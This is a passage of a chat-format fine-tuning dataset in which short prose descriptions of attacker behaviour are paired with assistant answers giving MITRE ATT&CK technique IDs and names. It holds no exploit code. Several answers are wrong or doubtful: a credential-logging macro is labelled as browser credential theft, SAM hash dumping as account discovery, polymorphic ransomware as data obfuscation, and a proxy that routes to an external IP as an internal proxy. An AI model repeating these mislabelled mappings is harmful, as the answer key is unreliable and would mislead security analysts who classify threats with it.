                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages satellite imagery services to verify the exact location of the victim's manufacturing plant."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects a socket filter that rewrites destination IP addresses, steering data toward a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit performs process injection on a Unix system by using ptrace to suspend the target and copy in a backdoor library."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables the TPM chip to prevent hardware-backed key storage, weakening the system's encryption."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deployed a wiper that overwrites the entire hard drive, rendering the operating system unrecoverable."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the CLR profiling interface, setting COR_PROFILER_PATH to point to a malicious DLL, thereby executing code during the .NET runtime initialization."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used the Windows Command Shell to run \"schtasks /query\" and enumerate scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By chaining HTTP proxies on compromised servers, the attacker builds a multi-hop proxy network to bypass firewalls."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant sets up a proxy on the victim’s machine that forwards all outbound HTTPS traffic to a remote server controlled by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor corrupts backup files and blocks scheduled backup tasks to make system recovery impossible."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain compromise results in a router with altered bootloader code, enabling an adversary to gain persistent control whenever the router restarts."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the proc filesystem to locate and dump the memory of the sshd process to harvest SSH keys."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use MSBuild.exe to compile malicious C# code on the victim machine, allowing them to execute payloads without writing files to disk."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion sets up an Outlook rule that runs a command line script each time an email arrives from a compromised domain."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary abuses the XPC framework on macOS to exchange data between compromised components."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Password spraying is performed by an automated bot that logs in with a few common passwords on a massive list of user IDs."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary establishes a persistent RDP session to a domain controller to execute commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a memory dumping tool to capture the securityd process and obtain saved credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages the Windows API to request directory replication data, implementing DCSync to gather credential material."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder injects a rogue Java servlet into the application server, allowing remote command execution."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups leverage FTP to transfer stolen data files to external servers."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes proc memory injection to execute shellcode inside a system service process without creating a new process."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script executed via /bin/bash performed privilege escalation by modifying sudoers configurations."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised hardware component vendor, an attacker inserted malicious firmware that propagates to all devices using that component."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT leveraged a compromised Jenkins CI server to inject malicious builds into the production environment."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a race condition in a privileged cron job to replace a temporary file with a malicious script."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals downloaded a keylogger binary from a compromised cloud storage account to monitor victim keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects a malicious DLL into the System32\\sppsvc.exe process, leveraging SIP hijacking to bypass code signing verification for malware."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor conducts a TCP SYN flood against a custom daemon that processes each SYN with heavy cryptographic verification, leading to CPU saturation."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries steal legitimate user credentials and reuse them to bypass authentication."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker generates a certificate with weak RSA keys to test the effectiveness of the target’s certificate validation controls."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker subscribes to a mailing list to receive the latest software vulnerability disclosures for exploitation."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan targets the local system's registry hive files and uploads them for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a link to a malicious website that runs obfuscated JavaScript in the browser to download a second-stage payload."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor runs a GCP command-line tool (gcloud) to generate a snapshot of a Compute Engine persistent disk without the victim's knowledge."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a cloud storage bucket and stages data there before the final exfiltration step."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware renamed its malicious binary to 'svchost.exe' and ran it as a Windows service to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a personalized Instagram direct message claiming a package delivery issue, including a link that installs ransomware."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a script that deletes the system's network connection logs and resets the firewall configuration to erase traces of malicious traffic."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the Windows Management Instrumentation service over DCOM to copy malicious binaries to a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a UNIX domain socket to communicate between its injected library and a helper process."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies the /etc/sudoers file to grant the attacker password‑less root access."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor registers domains with popular brand names and uses SEO techniques to rank them highly, then hosts a phishing page that harvests credentials from unsuspecting visitors."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A crafted WebP image with malformed metadata is opened in a mobile app, causing the app to crash and later load a malicious library that executes the attacker's code."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised corporate HTTP proxy is reconfigured to route traffic through an external malicious IP address."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious email template is used to inject HTML that redirects users to a phishing site when the email is viewed."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the compromised admin token, the threat actor turned off the firewall logging feature, preventing detection of subsequent malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious serverless function in Alibaba Cloud Function Compute was used to enumerate S3 buckets and leak their contents to an attacker-controlled webhook."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary scans the host's /proc filesystem for entries matching \"docker\" to identify container processes."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Microsoft Office document logs user credentials when the document is opened."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged PowerShell's Get-NetTCPConnection cmdlet to list active network services on compromised machines."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leveraged compromised credentials to update the instance type of several cloud VMs, enabling higher CPU usage for their malware."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Alters the global variables of a running application to disable encryption routines and expose plaintext data."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware alters the registry to change the default file association for .txt files to a malicious script."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator runs a command-line utility that reads the clipboard content and writes it to a hidden file for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a Kerberos ticket forging technique, generating a valid TGT for a high-privilege account to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs 'systemctl list-units --type=service' to gather information about enabled services on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script reads the SAM registry hive to enumerate local account hashes."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware dropped a malicious transport agent DLL into the Exchange Transport service, enabling execution of arbitrary code on each processed email."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged sudo caching by maintaining the timestamp file across reboots, enabling persistent root access without re-authentication."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker overwrites the VBA procedures in a Word template to embed a ransomware payload, exemplifying VBA stomping."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious rule is created to export the contents of the victim's mailbox to a local file and then encrypt it, demanding ransom for decryption."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script is used to capture user keystrokes by hooking the Windows API, allowing the attacker to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages a rogue DC to conduct lateral movement by authenticating to other systems with harvested credentials."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A bootkit is installed by overwriting the Master Boot Record to load a trojan during system startup."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant uses polymorphic code that rewrites its own binary with random NOP sleds each execution."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of ransomware changes the power settings to keep the machine awake, ensuring it can complete encryption before shutdown."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious module intercepts the Windows LogonCredentials API to steal usernames and passwords entered by users."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies Windows registry proxy settings to point to an attacker‑owned external proxy, facilitating stealthy command and control communications."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors exploit the MSBuild utility to execute PowerShell scripts embedded in a project configuration."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script queries the Docker socket (unix:///var/run/docker.sock) without proper permission checks, harvesting stored Docker registry credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group disables forward secrecy by removing elliptic‑curve Diffie‑Hellman support from the server."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using DDE, the adversary commands the Windows Media Player to download and execute a payload."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware searches for and exfiltrates GPG private keys stored in a user's home directory."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a custom script to pull data from the Exchange Web Services (EWS) API, listing every mailbox user."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain compromise resulted in the attacker using valid service account credentials to push malicious updates through the CI/CD pipeline."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
